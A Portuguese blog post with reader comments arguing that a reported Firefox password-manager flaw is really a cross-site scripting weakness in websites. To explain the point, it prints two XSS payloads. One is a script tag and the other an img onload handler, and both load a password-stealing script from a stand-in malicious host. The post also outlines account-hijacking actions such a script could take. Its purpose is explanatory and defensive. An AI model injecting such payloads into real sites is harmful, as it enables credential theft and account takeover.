Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

Publicado por

Elcio

Elcio é sócio fundador da Visie Padrões Web. Pioneiro no uso e divulgação dos padrões do W3C no Brasil, Elcio já treinou equipes de dezenas de empresas como Globo.com, Terra, Petrobras, iG e Locaweb. Além disso, tem dirigido as equipes da Visie no desenvolvimento de projetos web para marcas como Brastemp, Itaú Unibanco, Johnson & Johnson e Rede Globo.

11 comentários em “Falha no Password Manager do Firefox?”

  1. Como que pode um site como o do Terra apenas traduzir páginas por ai. Creio que por ser uma página de TI eles deveriam não apenas traduzir e sim explicar assim como explicou o Élcio no seu artigo

  2. MercadoLivre é um dos sites vulneráveis a esta técnica. E claro que eles não vão arrumar, já que isso não aumentaria o lucro deles. (única motivação por parte do ML para que alguma coisa seja melhorada lá)

    Esse bug não é tão recente assim, já havia lido sobre isso a pelo menos 4 meses atrás. =X

  3. Olha, ainda bem que eu entrei no link do fechaTag.

    Como que pode um site como o do Terra apenas traduzir páginas por ai. Creio que por ser uma página de TI eles deveriam não apenas traduzir e sim explicar assim como explicou o Élcio no seu artigo.

    Agora, várias pessoas acessam a página do tecnologia.terra e “grilam” com tal falha. E que por sinal deixam o IEca com fama de browser santo.

    Da vontade é de dizer muita coisa. Mais de que adianta. Não vou mudar o mundo 🙂

    Parabéns, Élcio.

    []s 🙂

  4. Ótimo artigo!

    Pois é, o pessoal se preocupa mais em fazer barulho do que se inteirar mais no assunto, até no MeioBit saiu um artigo falando do “bug” do fx, e mesmo depois de terem postado o link para esse artigo nos comentários tem gente que não lê e ainda continua inflamando as coisas…. aff…

    Eu NUNCA confiei em nenhum gerenciador de senhas!

    Quanto a não permitir js em sites que os usuários insiram conteúdo, eu também nunca tinha pensado nisso, mas no meu caso especifico isso nunca foi um problema, pois nos sites que fiz eram sempre webmasters que inseriam conteúdo, e por diversas vezes precisavam inserir js, então não podia bloquear isso.

    Vivendo e aprendendo!

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *